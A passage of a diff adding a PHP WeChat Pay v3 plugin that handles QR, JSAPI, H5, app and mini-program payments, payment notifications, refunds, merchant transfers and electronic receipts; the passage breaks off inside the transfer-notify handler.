'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '服务号/小程序/开放平台AppID', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户APIv3密钥', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户API证书序列号', + 'type' => 'input', + 'note' => '', + ], + 'publickeyid' => [ + 'name' => '微信支付公钥ID', + 'type' => 'input', + 'note' => '平台证书模式可留空', + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => 'Native支付', + '2' => 'JSAPI支付', + '3' => 'H5支付', + '5' => 'APP支付', + ], + 'note' => '

    请将商户API私钥“apiclient_key.pem”、微信支付平台公钥“pub_key.pem”放到 /plugins/wxpayn/cert/ 文件夹内(或 /plugins/wxpayn/cert/商户号/ 文件夹内)。

    上方AppID填写已认证的服务号/小程序/开放平台应用皆可,需要在微信支付后台关联对应的AppID账号才能使用。

    ', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf; + + $urlpre = '/'; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if(checkwechat()){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }elseif(in_array('1',$channel['apptype']) && $conf['wework_payopen'] == 1){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + }else{ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + }elseif(checkmobile()){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype']) && strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone OS')!==false){ + return ['type'=>'jump','url'=>$urlpre.'pay/apppay/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + $urlpre = $siteurl; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if($method == 'applet' && in_array('2',$channel['apptype'])){ + return self::applet(); + }elseif($method=='app'){ + return self::apppay(); + }elseif($method=='jsapi'){ + return self::jspay(); + }elseif($method=='scan'){ + return ['type'=>'error','msg'=>'当前支付通道不支持付款码支付']; + } + elseif($mdevice=='wechat'){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return self::wap(); + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + }elseif($device=='mobile'){ + if(in_array('5',$channel['apptype']) && $mdevice == 'app'){ + return self::apppay(); + }elseif(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/submit/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return self::wap(); + }else{ + return self::qrcode(); + } + }else{ + return self::qrcode(); + } + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(in_array('1',$channel['apptype'])){ + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + if($order['profits']>0){ + $param['settle_info'] = ['profit_sharing' => true]; + } + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $result = $client->nativePay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $result = $client->combineNativePay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + $code_url = $result['code_url']; + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + + }elseif(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + $code_url = $siteurl.'pay/wap/'.TRADE_NO.'/'; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + + //JS支付 + static public function jspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + if(!empty($order['sub_openid'])){ + if(!empty($order['sub_appid'])){ + $channel['appid'] = $order['sub_appid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $channel['appid'] = $wxinfo['appid']; + } + $openid = $order['sub_openid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $channel['appid'] = $wxinfo['appid']; + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + } + + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'payer' => [ + 'openid' => $openid + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + if($order['profits']>0){ + $param['settle_info'] = ['profit_sharing' => true]; + } + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $result = $client->jsapiPay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $result = $client->combineJsapiPay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + $jsApiParameters = json_encode($result); + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$result]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //手机支付 + static public function wap(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxa']>0 && !isset($_GET['qrcode'])){ + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //H5支付 + static public function h5(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip, + 'h5_info' => [ + 'type' => 'Wap', + 'app_name' => $conf['sitename'], + 'app_url' => $siteurl, + ], + ] + ]; + if($order['profits']>0){ + $param['settle_info'] = ['profit_sharing' => true]; + } + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $result = $client->h5Pay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $result = $client->combineH5Pay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + $redirect_url=$siteurl.'pay/return/'.TRADE_NO.'/'; + $url=$result['h5_url'].'&redirect_url='.urlencode($redirect_url); + return ['type'=>'jump','url'=>$url]; + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + $channel['appid'] = $wxinfo['appid']; + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'payer' => [ + 'openid' => $openid + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + if($order['profits']>0){ + $param['settle_info'] = ['profit_sharing' => true]; + } + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $jsApiParameters = $client->jsapiPay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $jsApiParameters = $client->combineJsapiPay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + exit(json_encode(['code'=>0, 'data'=>$jsApiParameters])); + } catch (Exception $e) { + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败!'.$e->getMessage()])); + } + } + + //APP支付 + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + if($order['profits']>0){ + $param['settle_info'] = ['profit_sharing' => true]; + } + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $result = $client->appPay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $result = $client->combineAppPay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + $params = [ + 'nonceStr' => $result['noncestr'], + 'package' => $result['package'], + 'partnerId' => $result['partnerid'], + 'prepayId' => $result['prepayid'], + 'timeStamp' => $result['timestamp'], + 'sign' => $result['sign'], + ]; + $code_url = 'weixin://app/'.$result['appid'].'/pay/?'.http_build_query($params); + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$code_url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序跳转支付 + static public function applet(){ + global $channel; + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $path = wxminipay_jump_path(TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>$wxinfo['appid'], 'miniProgramId'=>'', 'path'=>$path]]; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PaymentService($wechatpay_config); + $data = $client->notify(); + } catch (Exception $e) { + $client->replyNotify(false, $e->getMessage()); + exit; + } + + if(isset($data['combine_out_trade_no'])){ //合单支付 + if($data['combine_out_trade_no'] == TRADE_NO){ + $sub_orders = []; + foreach($data['sub_orders'] as $detail){ + $sub_orders[] = ['sub_trade_no'=>$detail['out_trade_no'], 'api_trade_no'=>$detail['transaction_id'], 'money'=>round($detail['amount']['total_amount']/100,2)]; + } + \lib\Payment::processSubOrders(TRADE_NO, $sub_orders); + + processNotify($order, $data['combine_out_trade_no'], $data['combine_payer_info']['openid']); + } + }else{ + if ($data['trade_state'] == 'SUCCESS') { + if($data['out_trade_no'] == TRADE_NO){ + processNotify($order, $data['transaction_id'], $data['payer']['openid']); + } + } + } + $client->replyNotify(true); + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $param = [ + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'amount' => [ + 'refund' => intval(round($order['refundmoney']*100)), + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ] + ]; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PaymentService($wechatpay_config); + $result = $client->refund($param); + $result = ['code'=>0, 'trade_no'=>$result['out_trade_no'], 'refund_fee'=>$result['amount']['refund']]; + } catch (Exception $e) { + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } + + //合单退款 + static public function refund_combine($order){ + global $channel; + if(empty($order))exit(); + + $sub_orders = \lib\Payment::getSubOrders($order['trade_no']); + if(empty($sub_orders)) return ['code'=>-1, 'msg'=>'子订单数据不存在']; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PaymentService($wechatpay_config); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + //循环退款 + $refundmoney = $order['refundmoney']; + foreach($sub_orders as $sub_order){ + if($sub_order['status']==2 && (empty($sub_order['refundmoney']) || $sub_order['refundmoney']>=$sub_order['money'])) continue; + $money = $sub_order['money']; + if($sub_order['status']==2) $money = round($sub_order['money'] - $sub_order['refundmoney'], 2); + if($money > $refundmoney){ + $money = $refundmoney; + } + $refund_no = date("YmdHis").rand(11111,99999); + $param = [ + 'transaction_id' => $sub_order['api_trade_no'], + 'out_refund_no' => $refund_no, + 'amount' => [ + 'refund' => intval(round($money*100)), + 'total' => intval(round($sub_order['money']*100)), + 'currency' => 'CNY' + ] + ]; + + try{ + $client->refund($param); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + $sub_refundmoney = $sub_order['refundmoney'] ? round($sub_order['refundmoney'] + $money, 2) : $money; + \lib\Payment::refundSubOrder($sub_order['sub_trade_no'], $sub_refundmoney); + $refundmoney = round($refundmoney - $money, 2); + if($refundmoney<=0)break; + } + + return ['code'=>0]; + } + + //处理合单支付参数 + static private function combineOrderParams($param, $submoneys, &$sub_orders_data){ + $sub_orders = []; + $sub_orders_data = []; + $i = 1; + foreach($submoneys as $money){ + $sub_order = [ + 'attach' => 'combine', + 'amount' => [ + 'total_amount' => $money, + 'currency' => $param['amount']['currency'], + ], + 'out_trade_no' => $param['out_trade_no'].$i, + 'description' => $param['description'], + ]; + $sub_orders[] = $sub_order; + $sub_orders_data[] = ['sub_trade_no'=>$sub_order['out_trade_no'], 'money'=>round($money/100,2)]; + $i++; + } + if(!empty($param['scene_info']['h5_info'])) $param['scene_info']['device_id'] = '10001'; + $newparam = [ + 'combine_out_trade_no' => $param['out_trade_no'], + 'scene_info' => $param['scene_info'], + 'sub_orders' => $sub_orders, + 'notify_url' => $param['notify_url'], + ]; + if(isset($param['payer'])){ + $newparam['combine_payer_info'] = $param['payer']; + } + return $newparam; + } + + static private $fail_reason_desc = ['ACCOUNT_FROZEN'=>'该用户账户被冻结', 'REAL_NAME_CHECK_FAIL'=>'收款人未实名认证', 'NAME_NOT_CORRECT'=>'收款人姓名校验不通过', 'OPENID_INVALID'=>'Openid校验失败', 'TRANSFER_QUOTA_EXCEED'=>'超过用户单笔收款额度', 'DAY_RECEIVED_QUOTA_EXCEED'=>'超过用户单日收款额度', 'MONTH_RECEIVED_QUOTA_EXCEED'=>'超过用户单月收款额度', 'DAY_RECEIVED_COUNT_EXCEED'=>'超过用户单日收款次数', 'PRODUCT_AUTH_CHECK_FAIL'=>'未开通该权限或权限被冻结', 'OVERDUE_CLOSE'=>'超过系统重试期,系统自动关闭', 'ID_CARD_NOT_CORRECT'=>'收款人身份证校验不通过', 'ACCOUNT_NOT_EXIST'=>'该用户账户不存在', 'TRANSFER_RISK'=>'该笔转账可能存在风险,已被微信拦截', 'OTHER_FAIL_REASON_TYPE'=>'其它失败原因', 'REALNAME_ACCOUNT_RECEIVED_QUOTA_EXCEED'=>'用户账户收款受限,请引导用户在微信支付查看详情', 'RECEIVE_ACCOUNT_NOT_PERMMIT'=>'未配置该用户为转账收款人', 'PAYER_ACCOUNT_ABNORMAL'=>'商户账户付款受限,可前往商户平台获取解除功能限制指引', 'PAYEE_ACCOUNT_ABNORMAL'=>'用户账户收款异常,请引导用户完善身份信息', 'TRANSFER_REMARK_SET_FAIL'=>'转账备注设置失败,请调整后重新再试','TRANSFER_SCENE_UNAVAILABLE'=>'该转账场景暂不可用,请确认转账场景ID是否正确','TRANSFER_SCENE_INVALID'=>'你尚未获取该转账场景,请确认转账场景ID是否正确','RECEIVE_ACCOUNT_NOT_CONFIGURE'=>'请前往商户平台-商家转账到零钱-前往功能-转账场景中添加','BLOCK_B2C_USERLIMITAMOUNT_MONTH'=>'用户账户存在风险收款受限,本月不支持继续向该用户付款','MERCHANT_REJECT'=>'转账验密人已驳回转账','MERCHANT_NOT_CONFIRM'=>'转账验密人超时未验密']; + + //转账 + static public function transfer($channel, $bizParam){ + global $conf; + if(empty($channel) || empty($bizParam))exit(); + + if($conf['transfer_wxpay_type'] == 1){ + return self::transfer_n($channel, $bizParam); + } + + $wechatpay_config = require(PLUGIN_ROOT.'wxpayn/inc/config.php'); + $out_batch_no = $bizParam['out_biz_no']; + try{ + $client = new \WeChatPay\V3\TransferService($wechatpay_config); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + $transfer_detail = [ + 'out_detail_no' => $bizParam['out_biz_no'], + 'transfer_amount' => intval(round($bizParam['money']*100)), + 'transfer_remark' => $bizParam['transfer_desc'], + 'openid' => $bizParam['payee_account'], + ]; + if(!empty($bizParam['payee_real_name'])){ + $transfer_detail['user_name'] = $client->rsaEncrypt($bizParam['payee_real_name']); + } + $param = [ + 'out_batch_no' => $out_batch_no, + 'batch_name' => '转账给'.$bizParam['payee_real_name'], + 'batch_remark' => date("YmdHis"), + 'total_amount' => intval(round($bizParam['money']*100)), + 'total_num' => 1, + 'transfer_detail_list' => [ + $transfer_detail + ], + ]; + + try{ + $result = $client->transfer($param); + } catch (Exception $e) { + $errorMsg = $e->getMessage(); + if(!strpos($errorMsg, '对应的订单已经存在')){ + return ['code'=>-1, 'msg'=>$errorMsg]; + } + } + $batch_id = $result['batch_id']; + + return ['code'=>0, 'status'=>0, 'orderid'=>$bizParam['out_biz_no'], 'paydate'=>date('Y-m-d H:i:s')]; + + usleep(500000); + + try{ + $result = $client->transferoutdetail($out_batch_no, $bizParam['out_biz_no']); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + if($result['detail_status'] == 'PROCESSING'){ + return ['code'=>0, 'status'=>0, 'orderid'=>$result['detail_id'], 'paydate'=>$result['update_time']]; + }elseif($result['detail_status'] == 'FAIL'){ + return ['code'=>-1, 'errcode'=>$result['fail_reason'], 'msg'=>'['.$result['fail_reason'].']'.self::$fail_reason_desc[$result['fail_reason']]]; + }elseif($result['detail_status'] == 'SUCCESS'){ + return ['code'=>0, 'status'=>1, 'orderid'=>$result['detail_id'], 'paydate'=>$result['update_time']]; + }else{ + return ['code'=>-1, 'msg'=>'转账状态未知']; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + global $conf; + if(empty($channel) || empty($bizParam))exit(); + + if($conf['transfer_wxpay_type'] == 1){ + return self::transfer_query_n($channel, $bizParam); + } + + $wechatpay_config = require(PLUGIN_ROOT.'wxpayn/inc/config.php'); + try{ + $client = new \WeChatPay\V3\TransferService($wechatpay_config); + $result = $client->transferoutdetail($bizParam['out_biz_no'], $bizParam['out_biz_no']); + if($result['detail_status'] == 'SUCCESS'){ + $status = 1; + }elseif($result['detail_status'] == 'FAIL'){ + $status = 2; + }else{ + $status = 0; + } + return ['code'=>0, 'status'=>$status, 'amount'=>round($result['transfer_amount']/100, 2), 'paydate'=>$result['update_time'], 'errmsg'=>'['.$result['fail_reason'].']'.self::$fail_reason_desc[$result['fail_reason']]]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //电子回单 + static public function transfer_proof($channel, $bizParam){ + global $conf; + if(empty($channel) || empty($bizParam))exit(); + + if($conf['transfer_wxpay_type'] == 1){ + return self::transfer_proof_n($channel, $bizParam); + } + + $wechatpay_config = require(PLUGIN_ROOT.'wxpayn/inc/config.php'); + try{ + $client = new \WeChatPay\V3\TransferService($wechatpay_config); + if(!isset($_SESSION['ereceipt_'.$bizParam['out_biz_no']])){ + $result = $client->transferDetailReceiptApply($bizParam['out_biz_no'], $bizParam['out_biz_no']); + $_SESSION['ereceipt_'.$bizParam['out_biz_no']] = $result['signature_no']; + } + if($result['signature_status'] == 'FINISHED'){ + return ['code'=>0, 'msg'=>'电子回单生成成功!', 'download_url'=>$result['download_url']]; + } + + usleep(300000); + $result = $client->transferDetailReceiptQuery($bizParam['out_biz_no'], $bizParam['out_biz_no']); + if($result['signature_status'] == 'FINISHED'){ + $file_content = $client->download($result['download_url']); + $file_md5 = md5($file_content); + file_put_contents(ROOT.'assets/uploads/'.$file_md5.'.pdf', $file_content); + $download_url = $siteurl.'assets/uploads/'.$file_md5.'.pdf'; + return ['code'=>0, 'msg'=>'电子回单生成成功!', 'download_url'=>$download_url]; + }else{ + return ['code'=>0, 'msg'=>'电子回单正在生成中,请稍后再试!']; + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //新商家转账 + static private function transfer_n($channel, $bizParam){ + global $conf; + + $wechatpay_config = require(PLUGIN_ROOT.'wxpayn/inc/config.php'); + try{ + $client = new \WeChatPay\V3\TransferService($wechatpay_config); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + if(empty($conf['transfer_wxpay_scene_id'])) return ['code'=>-1, 'msg'=>'未配置转账场景ID']; + if(empty($conf['transfer_wxpay_info_type']) || empty($conf['transfer_wxpay_info_content'])) return ['code'=>-1, 'msg'=>'未配置转账报备信息']; + $report_infos = []; + $info_types = explode('|',$conf['transfer_wxpay_info_type']); + $info_contents = explode('|',$conf['transfer_wxpay_info_content']); + foreach($info_types as $i => $info_type){ + $report_infos[] = [ + 'info_type' => $info_type, + 'info_content' => $info_contents[$i] ?? $info_contents[0], + ]; + } + + $param = [ + 'out_bill_no' => $bizParam['out_biz_no'], + 'transfer_scene_id' => $conf['transfer_wxpay_scene_id'], + 'openid' => $bizParam['payee_account'], + 'transfer_amount' => intval(round($bizParam['money']*100)), + 'transfer_remark' => $bizParam['transfer_desc'], + 'notify_url' => $conf['localurl'].'pay/transfernotify/'.$channel['id'].'/', + 'transfer_scene_report_infos' => $report_infos, + ]; + if($param['transfer_amount'] >= 30 && !empty($bizParam['payee_real_name'])){ + $param['user_name'] = $client->rsaEncrypt($bizParam['payee_real_name']); + } + + try{ + $result = $client->mchTransfer($param); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + if($result['state'] == 'SUCCESS'){ + return ['code'=>0, 'status'=>1, 'orderid'=>$result['transfer_bill_no'], 'paydate'=>date('Y-m-d H:i:s'), 'wxpackage'=>$result['package_info']]; + }elseif($result['state'] == 'WAIT_USER_CONFIRM' || $result['state'] == 'TRANSFERING' || $result['state'] == 'ACCEPTED' || $result['state'] == 'PROCESSING'){ + return ['code'=>0, 'status'=>0, 'orderid'=>$result['transfer_bill_no'], 'paydate'=>date('Y-m-d H:i:s'), 'wxpackage'=>$result['package_info']]; + }elseif($result['state'] == 'FAIL'){ + return ['code'=>-1, 'errcode'=>$result['fail_reason'], 'msg'=>'['.$result['fail_reason'].']'.self::$fail_reason_desc[$result['fail_reason']], 'wxpackage'=>$result['package_info']]; + }else{ + return ['code'=>-1, 'msg'=>'转账状态未知('.$result['state'].')']; + } + } + + //新转账查询 + static private function transfer_query_n($channel, $bizParam){ + $wechatpay_config = require(PLUGIN_ROOT.'wxpayn/inc/config.php'); + try{ + $client = new \WeChatPay\V3\TransferService($wechatpay_config); + $result = $client->queryTransferByOutNo($bizParam['out_biz_no']); + $errmsg = null; + if($result['state'] == 'SUCCESS'){ + $status = 1; + }elseif($result['state'] == 'FAIL'){ + $status = 2; + $errmsg = '['.$result['fail_reason'].']'.self::$fail_reason_desc[$result['fail_reason']]; + }elseif($result['state'] == 'CANCELLED'){ + $status = 2; + $errmsg = '转账已撤销'; + }else{ + $status = 0; + } + return ['code'=>0, 'status'=>$status, 'amount'=>round($result['transfer_amount']/100, 2), 'paydate'=>$result['update_time'], 'errmsg'=>$errmsg]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //撤销转账 + static public function transfer_cancel($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $wechatpay_config = require(PLUGIN_ROOT.'wxpayn/inc/config.php'); + try{ + $client = new \WeChatPay\V3\TransferService($wechatpay_config); + $result = $client->cancelTransfer($bizParam['out_biz_no']); + return ['code'=>0]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //新电子回单 + static private function transfer_proof_n($channel, $bizParam){ + global $conf, $siteurl; + + $wechatpay_config = require(PLUGIN_ROOT.'wxpayn/inc/config.php'); + try{ + $client = new \WeChatPay\V3\TransferService($wechatpay_config); + if(!isset($_SESSION['ereceipt_'.$bizParam['out_biz_no']])){ + $result = $client->transferReceiptApply($bizParam['out_biz_no']); + $_SESSION['ereceipt_'.$bizParam['out_biz_no']] = '1'; + } + if($result['state'] == 'GENERATING'){ + usleep(300000); + } + $result = $client->transferReceiptQuery($bizParam['out_biz_no']); + if($result['state'] == 'FINISHED'){ + $file_content = $client->download($result['download_url']); + $file_md5 = md5($file_content); + file_put_contents(ROOT.'assets/uploads/'.$file_md5.'.pdf', $file_content); + $download_url = $siteurl.'assets/uploads/'.$file_md5.'.pdf'; + return ['code'=>0, 'msg'=>'电子回单生成成功!', 'download_url'=>$download_url]; + }elseif($result['state'] == 'FAILED'){ + return ['code'=>0, 'msg'=>'电子回单生成失败:'.$result['fail_reason']]; + }else{ + return ['code'=>0, 'msg'=>'电子回单正在生成中,请稍后再试!']; + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //新转账回调 + static public function transfernotify(){ + global $channel; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\BaseService($wechatpay_config); + $data = $client->notify(); + } catch (Exception $e) { + $client->replyNotify(false, $e->getMessage()); + exit; + } + + $errmsg = null; + if($data['state'] == 'SUCCESS'){ + $status = 1; + }elseif($data['state'] == 'FAIL'){ + $status = 2; + $errmsg = '['.$data['fail_reason'].']'.self::$fail_reason_desc[$data['fail_reason']]; + }elseif($data['state'] == 